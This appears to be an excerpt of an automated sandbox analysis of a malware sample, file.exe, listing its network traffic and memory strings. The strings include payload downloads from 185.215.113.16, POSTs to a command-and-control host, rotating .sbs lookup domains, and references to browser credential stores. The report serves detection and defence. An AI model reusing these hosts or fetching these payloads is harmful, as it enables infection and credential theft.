Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: hallowed-noisy.sbs
Source: global traffic	DNS traffic detected: DNS query: plastic-mitten.sbs
Source: global traffic	DNS traffic detected: DNS query: looky-marked.sbs
Source: global traffic	DNS traffic detected: DNS query: wrench-creter.sbs
Source: global traffic	DNS traffic detected: DNS query: slam-whipp.sbs
Source: global traffic	DNS traffic detected: DNS query: record-envyp.sbs
Source: global traffic	DNS traffic detected: DNS query: copper-replace.sbs
Source: global traffic	DNS traffic detected: DNS query: savvy-steereo.sbs
Source: global traffic	DNS traffic detected: DNS query: preside-comforter.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: marshal-zhukov.com

Source: file.exe, 00000000.00000002.2390678447.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeO
Source: file.exe, 00000000.00000002.2390678447.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exemP
Source: file.exe, 00000000.00000002.2386113819.0000000000B3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exep
Source: file.exe, 00000000.00000002.2390678447.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeault-release/key4.dbPK
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_108.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_108.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_108.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_108.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_108.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=jIFn
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=nT6RHKdfWgaJ&l=e
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_108.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_108.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: file.exe, 00000000.00000003.1779908324.0000000001300000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144403023.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779758245.00000000012CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2067860031.0000000001303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/D;T
Source: file.exe, 00000000.00000003.2303709531.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304288499.0000000001308000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2215338462.0000000001304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/JYQ
Source: file.exe, 00000000.00000003.2303709531.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304288499.0000000001308000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144403023.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2215338462.0000000001304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/ZYa
